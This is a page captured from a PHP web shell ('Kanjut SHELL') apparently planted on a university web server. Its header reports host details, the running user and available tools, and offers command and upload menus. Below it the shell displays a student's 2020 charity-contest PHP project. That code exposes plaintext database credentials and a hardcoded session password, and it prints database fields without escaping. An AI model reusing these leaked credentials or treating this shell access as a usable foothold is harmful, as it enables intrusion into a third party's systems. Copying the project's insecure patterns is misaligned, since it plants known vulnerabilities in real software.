Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.188.101.251
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jahight/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jahight/www/CS489_Project_display_table.php
<?php	session_start();

	$pass = $_SESSION['psw'];
	if($pass != "password")
		print "That is the Wrong Password GO AWAY!";
	else
	{
?>
<!-- CS489_Project_display_table.php  

	Author: Jeremy Hight
	Instructor: Dr. Wang
	Due: Dec. 14, 2020
-->

<center>
<style>H2{background-color: yellow;}</style>
<H2>CHARITY CHOICE CONTEST CONTENDERS</H2>
<HR>
<style>
body {
  background-image: url("https://i.pinimg.com/originals/f2/ed/69/f2ed69989c87baccbebcd4711fa3213f.png");
  background-repeat: no-repeat;
  background-attachment: fixed;
  background-size: 100% 100%;  
  <!--background-size: cover;-->
}
table, th, td {
border: 1px solid black;
background-color: cyan;
text-align: center;
}
</style>
<body>

<?php
	$host = 'localhost';
	$user = 'jahight';
	$passwd = 'cs480';
	$database = 'jahight';
	$connect = mysqli_connect($host, $user, $passwd);
	$query = "select CHOICE,DESCRIP from CONTEST";
	$counter1 = "SELECT COUNT(CHOICE) AS total from CONTEST where CHOICE='1'";
	$counter2 = "SELECT COUNT(CHOICE) AS total from CONTEST where CHOICE='2'";
	$counter3 = "SELECT COUNT(CHOICE) AS total from CONTEST where CHOICE='3'";
	$counter4 = "SELECT COUNT(CHOICE) AS total from CONTEST where CHOICE='4'";
	$counter5 = "SELECT COUNT(CHOICE) AS total from CONTEST where CHOICE='5'";
	$counter6 = "SELECT COUNT(CHOICE) AS total from CONTEST where CHOICE='6'";	
	
	mysqli_select_db($connect, $database);
	
	$cresult1 = mysqli_query($connect, $counter1);
	$values1 = mysqli_fetch_assoc($cresult1);
	$num_rows1=$values1['total'];
	
	$cresult2 = mysqli_query($connect, $counter2);
	$values2 = mysqli_fetch_assoc($cresult2);
	$num_rows2=$values2['total'];
	
	$cresult3 = mysqli_query($connect, $counter3);
	$values3 = mysqli_fetch_assoc($cresult3);
	$num_rows3=$values3['total'];

	$cresult4 = mysqli_query($connect, $counter4);
	$values4 = mysqli_fetch_assoc($cresult4);
	$num_rows4=$values4['total'];

	$cresult5 = mysqli_query($connect, $counter5);
	$values5 = mysqli_fetch_assoc($cresult5);
	$num_rows5=$values5['total'];

	$cresult6 = mysqli_query($connect, $counter6);
	$values6 = mysqli_fetch_assoc($cresult6);
	$num_rows6=$values6['total'];

	$result_id = mysqli_query($connect, $query);
	if($result_id)
	{	
		print '<table border=1>';
		print '<TH> CHOICE <TH> DESCRIPTION';
		while($row = mysqli_fetch_row($result_id))
		{	print '<TR>';
			foreach ($row as $field)
				print "<TD> $field </TD> ";
			print '</TR>';
		}
		print '</table>';
		print '<table>';
		print '<TH> CHOICE 1 <TH> CHOICE 2 <TH> CHOICE 3 <TH> CHOICE 4 <TH> CHOICE 5 <TH> CHOICE 6';
		
		print '<TR>';
		print "<td> $num_rows1 </td>";
		print "<td> $num_rows2 </td>";
		print "<td> $num_rows3 </td>";
		print "<td> $num_rows4 </td>";
		print "<td> $num_rows5 </td>";
		print "<td> $num_rows6 </td>";
		print '</TR>';
		print '</table>';
	}
	else
		print "Fail.<p>";

	mysqli_close($connect);
?>
<P>
<H2>
<A HREF=CS489_Project_Homepage.php> CHARITY COURSE CONTEST HOMEPAGE </A>  
 ||| <A HREF=CS489_Project_Charity_Form.php> CHARITY CHOICE FORM </A>
</H2>
</center>
<?php
	}
?>

Stv3n404 - 2023